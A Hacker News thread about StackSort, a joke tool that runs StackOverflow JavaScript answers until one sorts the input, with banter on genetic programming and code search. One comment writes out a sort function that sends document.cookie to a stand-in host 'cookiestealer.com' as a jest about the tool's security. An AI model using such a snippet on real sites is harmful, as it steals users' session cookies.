
Show HN: XKCD-inspired StackSort - gkoberger
http://gkoberger.github.com/stacksort/?
======
recuter
If you give it about 30 seconds it works eventually, this is beautiful. I had
a good laugh.

Edit: It makes me want to do something crazy like setup a tool chain that
cobbles whole programs together with trial and error like this. Throw enough
resources at it maybe it will be faster and cheaper than your avg. developer.

It will be an unmaintainable mess as if you used Brainfuck or Perl. But it
will run, by god, it will run. :D

You laugh now, but imagine a bizarre combination of genetic programming and
machine learning with Stackoverflow and Github used as corpuses. Great Scott!

~~~
dmitshur
I tried a basic version of that 1.5 weeks ago. At first it was generating
random characters, then I tried some Markov chains trained on valid code.

After running it overnight (it was attempting 40+ programs per second), the
very best program looked something like this:

    
    
        package main; func main() { i := 0
         // wae64309i<AEFL<N(),{}flkjwa and other Random Gibberish
        i++ }
    

Next step I wanna try is to use tokens of the language instead of series of
random characters.

Edit: Here's the code. <https://gist.github.com/shurcooL/df2c8339ada1997606b3>
It should run out of the box if your Go is installed in /usr/local/go. I just
changed it to generate a temp dir in the working dir (prefixed with "Gen-"),
so you can delete it afterwards (previously it relied on a "Gen" folder to
already exist). Right now it's configured to have quite difficult verification
conditions, so it generates valid programs quite infrequently (despite trying
5000+ programs per second on my machine).

~~~
Retric
If you actually want to go down this path then you want a language with as
little redundancy as possible. Comments may be useful to humans but they
needlessly complicate the search space. Abstractly you want to think about the
how your language is parsed so you don't for example try different variable
names.

Though if you spend enough time your probably going to be reimplementing some
type of <http://en.wikipedia.org/wiki/Genetic_programming>

~~~
omra
[Slash/A](<https://github.com/arturadib/slash-a>) is specially designed for
genetic programming / random generation. No matter how you piece together the
instructions, it is still a valid program.

------
kevinalexbrown
"So, I made it." is probably _the_ best explanation ever. Also the moving
clock in the xkcd figure! Awesome touch.

Also of utmost importance: it sorts both [8,6,7,5,3,0,9] and
"jennyigotyournumber". Now I'm really gonna make her mine.

------
gkoberger
This was inspired by the alt-text from last week's "Ineffective Sorts" xkcd
(<http://xkcd.com/1185/>).

It tries to sort a list or JSON by fetching code from StackOverflow until it
properly sorts the input.

~~~
fwenzel
Do you test the result, or just hope if it runs, it actually worked?

~~~
gkoberger
It doesn't test for two reasons:

1) I thought it would defeat the purpose

2) "Sort" is very arbitrary. Do you want to sort by key or value? Is "1000"
bigger or smaller than "2"? etc

~~~
fwenzel
Fair; also, it's called an 'ineffective' sort, and if you tested it, it'd
become effective (not efficient, of course). So, good point!

~~~
simcop2387
You could probably test it by taking multiple sorts from SO and then comparing
results. the moment you get two that agree, you have a winner!

------
nathell
Has anybody made a gallery of real implementations of Randall Munroe's
hilarious ideas yet? I recall at least three exhibitions: this, M-x butterfly,
and Hell Tetris; there are probably many others.

~~~
jdechko
Also, geohashing

I'm waiting for 1Password to implement 936. <http://xkcd.com/936/>

It's not that I don't trust 1Passwords generation algorithm, but when I'm on a
borrowed PC (wife's laptop, inlaws desktop or even at work where I can't
install 1P) this would help. It's much easier to open 1P on my iPhone, look up
a password and type in "correct horse battery staple" than to constantly have
to refer back to my phone.

~~~
pmelendez
I actually changed my way to pick password thanks to that comic. There are
longer and usually with the same entropy, but so much easier to remember!

~~~
jdechko
I just wish my password manager would do that automatically. I know there are
terminal scripts and apps that will do it. I'd just like it to be integrated.

------
JosephRedfern
'test.js':

    
    
       Hahahahahahahaha
    
       Oh.. you were serious. 
    
       Well, the fact that you're reading this means GitHub hasn't taken the repo down yet... so I guess things are still going pretty well?

------
ChuckMcM
For the numbers it eventually ends up here :
[http://stackoverflow.com/questions/14761032/infinite-
recursi...](http://stackoverflow.com/questions/14761032/infinite-recursion-in-
javascript-quicksort#14761203) but by and large this is a great hack. I worry
however if someone meta-exploits this by creating a javascript XSS in a stack
exchange answer waiting patiently ...

~~~
BHSPitMonkey
"The site will only fetch accepted answers, and it only uses answers that were
posted before the xkcd was released (meaning that if someone posted malicious
code now, it wouldn't matter)."

~~~
ufo
I think it might still be vulnerable to people editing one of those old
answers though.

~~~
BHSPitMonkey
This is true. It doesn't look like the code digs down into an answer's
revision history or anything like that.

------
arikrak
If a site like StackOverflow/Github had a more powerful search, better
semantic data, etc. maybe people would be able to create things primarily by
searching through it?

In this example, one would type "sort array" and it would auto-find a function
that sorts an array, but perhaps more advanced things can also be done? I
guess it depends somewhat on how re-usable code really is, besides on the
ability of a computer to find the right code.

At the very least, there should be better search/help when one is coding. SO's
current search isn't good at returning the best results.

~~~
ufo
On a more serious note, Hoogle[1] does something similar for the Haskell
standard libraries: You give it a type signature (essentially a sort of
specification of what the function should do) and it tells you if there are
any functions that match it.

[1] <http://www.haskell.org/hoogle/>

------
gjulianm
Noticed that there was a lot of "Potentially bad code" answers. I read you are
avoiding scripts with "cookie" or written after the comic was written, but are
there other restrictions? For example, this was banned:
[http://stackoverflow.com/questions/14800987/javascript-
sorti...](http://stackoverflow.com/questions/14800987/javascript-sorting-by-
algorithm-jquery-maybe#14803334)

Just curious about it.

~~~
gkoberger
I attempt to block anything that does DOM manipulation, uses Backbone or
underscore, uses "Date()" (since it's probably a benchmark and those are
slow), and a few others.

~~~
asveikau
Can you also write code to detect whether a program will run forever for a
given input? _ducks_

~~~
gkoberger
I looked for a way, but turns out it's not possible with JS. Browsers will
stop infinite loops after a few seconds, though.

EDIT: Ah, I missed the joke.. what I _meant_ was that I looked for a way to
stop the JS if it ran for more then a second.

~~~
rm999
I believe this is the joke: <http://en.wikipedia.org/wiki/Halting_problem>

>In computability theory, the halting problem ... is equivalent to the problem
of deciding, given a program and an input, whether the program will eventually
halt when run with that input, or will run forever. Alan Turing proved in 1936
that a general algorithm to solve the halting problem for all possible
program-input pairs cannot exist.

~~~
fwenzel
Sure. gkoberger transformed that statement into "can you detect if it has been
running for an unreasonable amount of time". Not possible in advance, but
certainly detectable in hindsight. Just, perhaps, not in JS.

------
milkshakes
This reminds me of a project I was exposed to at school[1] It allows you to
search for code by the test cases it passes. It was a little slow, but that
was one of the first times computers truly felt magical to me.

[1]<http://cs.brown.edu/~spr/research/s6.html>

~~~
gridspy
That is truly awesome! Thanks for sharing.

Quote from the linked article:

"

The system works by using the keywords to access one of the available code
search engines (or a local code search engine for code available at Brown), to
get candidate files. Each class or method in these files (depending on what
the user is searching for) is considered a potential solution. These solutions
are then transformed using a set of about 30 transformations in an attempt to
map the code into exactly what the programmer specified. The transformations
range from the simple (e.g. changing the name of the method to match the
signature) to the complex (e.g. finding a line in the method that computes a
value of the returned type and then doing a backward slice until the only free
variables are values of the parameter types). All the solutions that can be
transformed to match the signature are then tested using the given test cases,
security constraints, and JML rules.

"

------
Jeremy1026
I'm sure that TempleTypeDef
(<http://stackoverflow.com/users/501557/templatetypedef>) is loving this. As
their answer ([http://stackoverflow.com/questions/14761032/infinite-
recursi...](http://stackoverflow.com/questions/14761032/infinite-recursion-in-
javascript-quicksort#14761203)) went from 5 upvotes when this was originally
submitted to 29 at the time of this comment. Presumably all due to the HN
effect.

Does the script run through the same order each time, because I keep getting
that answer first, and by the upvotes, as are a bunch of others.

~~~
niggler
It looks like the same order, and every time i run it stops at the same answer

------
pmelendez
Wow.. beautiful!

I know this is only for fun, but it can start something bigger. Basically,
given an input and output we could search for an algorithm that works. It
reminds me a talk that PG gave in which he states people making bots to
optimize code and then an intelligent compiler could be done. It sounded very
futuristic, but maybe it is not that futuristic after all...

~~~
mayank
Genetic programming; type that into google scholar and look at the late-80s
and early-90s papers.

~~~
pmelendez
Thanks!, I used to play with GP back in the university. It's really fun!

However, GP is more like an oriented random search where the space of search
is really big. Here the space is somehow filtered by humans, where each
hypothesis had been generated by a human and not by a machine. It would be
interesting if the machine could evolve those solutions that are not quite but
close to be the proper one :)

~~~
solistice
I think it's also amazing what has been done with Field Programable Gate
Arrays (FPGAs) running genetic algorithms. For those not in the know, FPGAs
are programmable logic, so you essentially generate random logic codes and
check for their ability to for example interpret a signal properly. There was
an experiment where this was done for an FPGA with only several hundred gates,
over several thousands of generations. It was tasked to differentiate between
a 10khz and a 10hz wave. The most amazing thing is, the resulting code used
only about 50 of these gates, some of them not connected to others, yet
removal of the nonconnected gates would cause inability to carry out the task
(Yay, Quantum weirdness). Nor would the code work on any other, larger FPGA.
Essentially, it boils down to the Genetic Algorithm finding a code that used
specific quirks in the structure of the hardware, utilizing effects we are
currently not aware of, to solve a problem. I wish I could find the Article in
question, but it's too late in the evening.

~~~
randomsearch
You're looking for "Evolvable Hardware", and it sounds like you're referring
to the work of Adrian Thomson.

This was done in the 90s, btw.

<http://www.sussex.ac.uk/Users/adrianth/ade.html>

------
Tichy
A while ago I mused about a program that could also post questions on SO and
implement a spec that way.

I also like this thought of an algorithm failing publicly and anybody being
able to jump in and fix it.

I guess people have coded in Etherpad before, but still: how about
implementing some program wiki-style, with editing rights for everyone?

------
k_infinite
>Don't judge me! This code is everything from badly written to extremely
dangerous.

My code is never good enough. Whenever I release a piece of code, it always
seems like a load of crap. And as I have got a bit better at coding over the
years, this never changed. (Probably because I _do_ write shitty code.)

So I came to believe that it doesn't matter how proficient a programmer you
become, you will probably always feel this way, because your eyes are already
set on the next level of proficiency, your standards are always above your
current abilities. And that's good, because this is how you get better.

But because of this, your code always seems like a piece of crap and whenever
you decide to go public with it, you always feel compelled to make a note
about this in your code. I propose that we standardize the way that we declare
this sentiment, and agree on a universal sign much like the copyright sign for
this idea, that says:

"I hereby declare that I am not a douche bag, who thinks his code is the best
code that has ever been coded into existence. I am just a coder who aspires to
provide the best code to the best of his abilities under the circumstances. I
am willing to learn though, and I aspire to write better and better code, even
though this piece of code might stink. But nobody is perfect. Deal with it."

------
BerislavLopac
I can actually imagine a gist-like repo of algorithms which would be callable
as Web services, each with its own URL. It would then be possible to run a
search based on some predefined parameters, like in a unit test, and when an
algorithm is found that performs accordingly it would be listed with stats how
quick it ran.

Damn, if I only had the time to write this... |-(

------
JD557
It would be really cool to have this implemented on a language with implicit
functions (like VDM, where you can define a function by its postcondition
alone). Who knows, it might actually work.

[https://en.wikipedia.org/wiki/Vienna_Development_Method#Func...](https://en.wikipedia.org/wiki/Vienna_Development_Method#Functional_modelling)

------
alemhnan
That's awesome. Think about it, if we were able to extract the meaning (what
it does and under which assumptions) of the algorithms on SO we could use them
as an API. You declare "what you need" and which assumptions and you just made
a call to an API to download the best, peer reviewed, code. Like something
code as service.

~~~
gizmo686
This is still a far way away from the program actually understanding the code
to the point unnecessary for that. However, if I understand what you are
describing, a simmalar system exists for Haskell (and possibly other
languages)[1]. The idea behind hoogle is that you search for a type signature
and get back functions with such a type. This idea probably would not work
well for most languages, as it depends heavily on the strength of haskells
type system. Also, hoogle only looks at standard libraries, but there is no
reason we cannot use the same type system based search with SO.

[1] <http://www.haskell.org/hoogle/>

------
hcarvalhoalves
Great. I thought about implementing it myself after reading the XKCD, I knew
it was plausible.

I tried it and it found an algo that actually worked:

[http://stackoverflow.com/questions/14761032/infinite-
recursi...](http://stackoverflow.com/questions/14761032/infinite-recursion-in-
javascript-quicksort)

~~~
cwlb
run it a few more times, that's the only one it finds.

------
deathcakes
I did wonder how long it would take after reading that comic to someone
implementing it.

Congratulations!

------
btipling
Quick someone write a 'sort' that steals github session cookies. ;P

~~~
gkoberger
I only search answers posted before the comic was released for this reason :)
(Also, I block any code that uses the word "cookie")

Plus, I'm assuming that since they let anyone run arbitrary code on
subdomains, they've thought this through.

~~~
_dark_matter_
Quick, someone edit your code that has "javascript" and "sort" as keywords so
it steals session cookies!

~~~
vnorby
This won't work on Github's subdomain, but you'd do it like this:

    
    
      function sort(data) {
         $('body').append('<script src="http://cookiestealer.com/log.js?cookie= + document.cookie + '"></script>");
         return data.sort();
      }

------
DigitalSea
This is impressive. I wish I possessed the same skills and determination as
you to just go and make something without overanalysing things. This is
impressive, beautifully done.

------
potch
I'd love a way to see the code that ran to generate the output.

~~~
gkoberger
There's a link to it in the "output" on the right (but yeah, I should make it
more obvious)

------
raverbashing
Amazing

One could join this with unit-tests so you would fetch code until the unit
tests for what you are trying to do pass

And then maybe add some genetic programming to it if the code is almost there

------
tson_11
Awesome! Should apply a performance test to each correct algorithm and later
make a list of the most efficient sort code per list type

------
TeMPOraL
Now I'm waiting for 4chan to game StackOverflow so that the first answer this
script finds will be some kind of a prank ;).

~~~
XEKEP
the algorithm (wisely!) ignores all posts dated before it's published

------
ErikRogneby
Awesome, I love it. an automatic up-vote on the first Stackoverflow answer
that works would be my only addition.

------
deepGem
This could be a very effective means for developing a new problem solving app.
For example: You are having some Javascript template errors. Just load your
template and check for all potential solutions on SO and pump out the
corrected template. Possibilities are endless. Way to guys. Very impressed.

------
yaix
Worked perfectly on first try. And you only have to change two words in the
code to totally re-program it.

------
fwenzel
Beautiful, beautiful!

------
sherwin
Semi related question -- how is this implemented security wise? I took a look
at the github repo and it seems to be all clientside JS, and it's just making
ajax GET search requests to StackOverflow, then parsing the results. Isn't
this prevented by same origin policy?

~~~
youngian
Looks like they're using CORS. The Access-Control-* response headers control
that.

------
hatFolk
This is brilliantly amazing. Whats stopping it from accidentally finding an
infinite loop, though?

------
tandrasz
Love it. It shows that how the "i" language could work.

The "i" stands for internet or interactive:
[http://tandrasz.blogspot.com.au/2011/03/i-programming-
langua...](http://tandrasz.blogspot.com.au/2011/03/i-programming-language-
part-1-concept.html)

Tomasz

------
mslot
This might actually be an interesting way to find the best implementation for
a problem...

------
shakkhar
Love it. So out of every 20 code snippets or so on StackOverflow, one is for
sorting?

~~~
gkoberger
It only runs answers tagged "javascript" and "sorting". So, one out of every
20 code snippets about javascript and sorting actually has working, runnable
code.

------
abecedarius
Squeak has this kind of thing actually built in: from a sample input and
output IIRC it tries most available methods to find any that produce the
output. Fetching more code off the net of course adds a whole new dimension...

------
emp
Neat. Reminded me of how Pharo Smalltalk you can open the Method Finder and
enter the arguments and expected output, and it lists methods that return the
correct output. Now, back to work in my primitive, modern IDE :(

------
3dptz
Brilliant, I love it. I see a bunch of variations on this popping up real
soon.

------
ryanhandby
Definitely up there with one of the coolest things I have seen this year.

------
barredo
Really good work gkoberger!

------
cinbun8
"If you like running arbitrary code in your browser, try it out." - O.O

~~~
chrischen
Aren't all websites I visit able to run arbitrary javascript code in my
browser???

~~~
cinbun8
True. But in this case you could post a stackoverflow question / answer to
take advantage of the fact that it will be run on another machine.

------
joezhou
This is one of the coolest things that have happened on HN this year!

------
jayzalowitz
So beautiful.. should ... have sent... a Perl book writer.

------
hmsimha
This is probably the most elaborate setup for a joke ever.

------
ardrabczyk
Is this really an 'alt text' what the author of this page is referring to?
Isn't 'alt text' a piece of text that shows when the image is unavailable?

~~~
pizza
Hover over an image with an alt-text attribute, and a tooltip with the alt-
text pops up. All of the xkcd comics have alt-text, and it's a good practice
in general, for accessibility software.

~~~
ufo
Actually, as other people mentioned, the real attribute that XKCD is using is
"title":

    
    
        <img src="http://imgs.xkcd.com/comics/aspect_ratio.png" title="I'm always disappointed when 'Anamorphic Widescreen' doesn't refer to a widescreen Animorphs movie." alt="Aspect Ratio">

~~~
pizza
Indeed!

------
logical42
this is terrific. i wish i could give you all my karma.

------
checksum
So if I make a post on stackoverflow with the tags "javascript" and "sort",
and put some dirty JS in there, could it take down people's browsers?

~~~
gkoberger
In theory, sure. However, I only use answers posted before the comic was
released to avoid this very problem :)

~~~
mrgoldenbrown
Are you taking edits into account?

~~~
kevjiang
Doesn't seem like it.

Code:

    
    
      var common_url = '&pagesize=100&order=desc&site=stackoverflow&todate=1363473554';
    

SO /questions api:

    
    
      todate – Unix timestamp of the maximum creation date on a returned item

------
xfreax
I saw that this thing fetches a Javascript code and runs in my machine and am
very dubious about its "script" action.

------
mortan
This is absolutely genius, made my day! :D

------
cwlb
has nobody else noticed that the default list always sorts with the same
algorithm? [http://stackoverflow.com/questions/14761032/infinite-
recursi...](http://stackoverflow.com/questions/14761032/infinite-recursion-in-
javascript-quicksort#14761203)

~~~
thedufer
That's because it always tried answers in the same order. If you tell it to
keep going, it'll succesfully sort with
[http://stackoverflow.com/questions/4833651/javascript-
array-...](http://stackoverflow.com/questions/4833651/javascript-array-sort-
and-unique#4833835) and
[http://stackoverflow.com/questions/12137690/javascript-
sort-...](http://stackoverflow.com/questions/12137690/javascript-sort-sparse-
array-keep-indexes#12137767) as well.

~~~
anonymous
Those two don't work in the general case.

The first only leaves the unique members of the list, so you get a sorted set.
The second sorts lexicographically, because javascript's .sort() method on
arrays sorts lexicographically. This means that if you have a list of numbers
like [1, 2, 10], it will get sorted as [1, 10, 2]. Unless you pass your own
comparator in.

What this page really demonstrates is that there is precisely one answer on
stackoverflow containing a complete generic sort function in javascript
(quicksort in fact).

~~~
thedufer
Sorry; I should have specified that I only used the example input.

------
bjc
throw-enough-sh*t-at-the-wall-and-something-will-eventually-stick method of
software development :)

------
bcRIPster
This a riot. Thanks for the laugh :)

------
sxywu
i love this - thank you for brightening my day. (and indirectly making me
create an HN account.)

------
djbender
I can't stop laughing. Well done!

------
dorafmon
The best sorting algorithm ever.

------
puissance
This is why I love programming!

------
piyush_soni
Humm ... 6 minutes already, but it's still "Fetching page 1..." for me.

~~~
gkoberger
Some people have reported that its doing this for some Firefox configurations.
Try Chrome?

~~~
piyush_soni
Humm ... works instantly with Chrome. Not sure why it's not working with
Firefox (haven't seen the code yet - might debug if I get some time)

~~~
gkoberger
Let me know if you do. It works fine for me in Firefox (I'm an ex-Mozillian;
that was the first place I checked), so I don't know why it's not working.

~~~
Aldri
Here is the error log for firefox:

TypeError: e is undefined
<http://gkoberger.github.com/stacksort/js/lib/jquery.js> Line 3

------
snjha1712
This is interesting!

------
edraferi
Oh my god yes.

------
arthalbuwa
Great stuFF

------
shailparas
how to change height and width manually of pdf by using html2pdf class in php

------
mosselman
Genius.

------
haddr
love it!

------
PBxdId7wFr
Which x k x d is it referring to? I missed that one!

